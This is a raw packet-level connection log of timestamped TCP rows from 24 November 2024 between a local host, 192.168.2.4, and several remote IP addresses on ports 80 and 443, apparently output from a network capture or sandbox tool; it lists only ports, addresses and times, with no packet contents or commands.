Nov 24, 2024 14:24:25.256663084 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.256709099 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.256716967 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.256755114 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.257811069 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.257862091 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.257960081 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.258003950 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.258840084 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.258938074 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.258944988 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.258981943 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.259643078 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.259865999 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.259926081 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.260699034 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.260806084 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.260857105 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.261492968 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.261554003 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.261629105 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.261682987 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.262634039 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.262732029 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.262743950 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.262785912 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.263556957 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.263608932 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.263717890 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.263765097 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.264538050 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.264586926 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.264648914 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.264691114 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.265439987 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.265491962 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.265518904 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.265557051 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.266350985 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.266405106 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.266469002 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.266522884 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.267283916 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.267334938 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.267365932 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.267517090 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.268237114 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.268379927 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.268428087 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.269124985 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.269231081 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.269237995 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.269280910 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.269963026 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.270042896 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.270123005 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.270749092 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.270812988 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.270831108 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.270879984 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.271538019 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.271589041 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.271617889 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.271663904 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.272458076 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.272483110 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.272504091 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.272517920 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.273299932 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.273417950 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.426049948 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.426093102 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.426147938 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.426352024 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.426630974 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.426681995 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.427273035 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.427334070 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.427459002 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.428247929 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.428284883 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.428380966 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.428828001 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.429188967 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.429258108 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.429291964 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.429362059 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.430170059 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.430217028 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.430243969 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.430284023 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.431032896 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.431077957 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.431103945 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.431137085 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.432049990 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.432099104 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.432252884 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.432293892 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.432873011 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.432921886 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.432974100 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.433020115 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.433815002 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.433947086 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.433995008 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.434703112 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.434824944 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.434875011 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.435656071 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.435760975 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.435805082 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.436693907 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.436841011 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.436871052 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.436882973 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.437515020 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.437585115 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.437618017 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.437655926 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.438432932 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.438479900 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.438535929 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.438587904 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.439368963 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.439416885 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.439445972 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.439606905 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.440291882 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.440355062 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.440396070 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.441229105 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.441359997 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.441405058 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.442197084 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.442243099 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.442275047 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.442316055 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.443078041 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.443120003 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.443156958 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.443192959 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.444056988 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.444106102 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.444176912 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.444215059 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.444957972 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.444999933 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.445056915 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.445096970 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.445885897 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.445950031 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.445997953 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.446906090 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.446952105 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.447024107 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.447113991 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.447741985 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.447791100 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.447818041 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.447863102 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.448679924 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.448733091 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.448915005 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.448956966 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.449599981 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.449656010 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.449717999 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.450390100 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.450535059 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.450620890 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.450648069 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.450735092 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.451462030 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.451508045 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.451566935 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.451612949 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.452408075 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.452454090 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.452531099 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.452581882 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.453351974 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.453398943 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.453424931 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.453471899 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.454340935 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.454387903 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.454415083 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.454456091 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.455188990 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.455262899 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.455291033 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.455338955 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.456106901 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.456227064 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.456252098 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.456973076 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.457036972 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.457073927 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.457149029 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.457194090 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.457956076 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.458013058 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.458081007 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.458127022 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.458895922 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.459018946 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.459069967 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.459922075 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.460001945 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.460022926 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.460098028 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.460758924 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.460804939 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.460866928 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.461045027 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.461695910 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.461822033 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.461862087 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.462651014 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.462701082 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.462755919 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.462853909 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.463560104 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.463613987 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.463690042 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.463737011 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.464561939 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.464649916 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.464693069 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.465396881 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.465437889 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.465501070 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.465548038 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.466362953 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.466411114 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.466465950 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.466514111 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.467247009 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.467360020 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.467408895 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.467448950 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.468429089 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.468473911 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.468498945 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.468538046 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.469116926 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.469177961 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.469211102 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.470047951 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.470088959 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.470222950 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.471009016 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.471049070 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.471101046 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.471139908 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.471920967 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.472004890 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.472043991 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.472868919 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.472970009 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.473007917 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.473753929 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.473902941 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.473943949 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.474633932 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.474683046 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.485899925 CET	49801	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:25.485985041 CET	443	49801	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:25.486090899 CET	49801	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:25.486470938 CET	49801	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:25.486504078 CET	443	49801	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:25.630302906 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.630422115 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.630453110 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.630507946 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.630769014 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.630820036 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.630932093 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.630975962 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.631712914 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.631769896 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.631807089 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.631850958 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.632615089 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.632659912 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.632704973 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.632747889 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.633605003 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.633650064 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.633724928 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.633769035 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:25.634465933 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:25.634510040 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:26.800508976 CET	443	49801	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:26.800594091 CET	49801	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:26.802146912 CET	49801	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:26.802165031 CET	443	49801	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:26.803195000 CET	443	49801	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:26.804749012 CET	49801	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:26.804950953 CET	49801	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:26.805001020 CET	443	49801	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:26.805089951 CET	49801	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:26.805107117 CET	443	49801	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:28.035134077 CET	49774	80	192.168.2.4	185.215.113.43
Nov 24, 2024 14:24:28.035454988 CET	49807	80	192.168.2.4	185.215.113.43
Nov 24, 2024 14:24:28.154997110 CET	80	49807	185.215.113.43	192.168.2.4
Nov 24, 2024 14:24:28.155083895 CET	80	49774	185.215.113.43	192.168.2.4
Nov 24, 2024 14:24:28.155139923 CET	49807	80	192.168.2.4	185.215.113.43
Nov 24, 2024 14:24:28.155139923 CET	49774	80	192.168.2.4	185.215.113.43
Nov 24, 2024 14:24:28.158911943 CET	49807	80	192.168.2.4	185.215.113.43
Nov 24, 2024 14:24:28.213805914 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:28.278419971 CET	80	49807	185.215.113.43	192.168.2.4
Nov 24, 2024 14:24:28.333409071 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:28.337166071 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:28.341981888 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:28.461514950 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:28.559609890 CET	443	49801	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:28.559864998 CET	443	49801	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:28.559945107 CET	49801	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:28.560234070 CET	49801	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:28.560261965 CET	443	49801	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:28.971676111 CET	49812	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:28.971715927 CET	443	49812	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:28.971793890 CET	49812	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:28.972111940 CET	49812	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:28.972147942 CET	443	49812	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:29.586292982 CET	80	49807	185.215.113.43	192.168.2.4
Nov 24, 2024 14:24:29.586458921 CET	49807	80	192.168.2.4	185.215.113.43
Nov 24, 2024 14:24:29.589179039 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:29.711363077 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:29.711436033 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:29.711591005 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:29.830998898 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:30.238666058 CET	443	49812	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:30.238766909 CET	49812	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:30.239903927 CET	49812	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:30.239923954 CET	443	49812	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:30.240946054 CET	443	49812	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:30.242050886 CET	49812	443	192.168.2.4	104.21.10.6
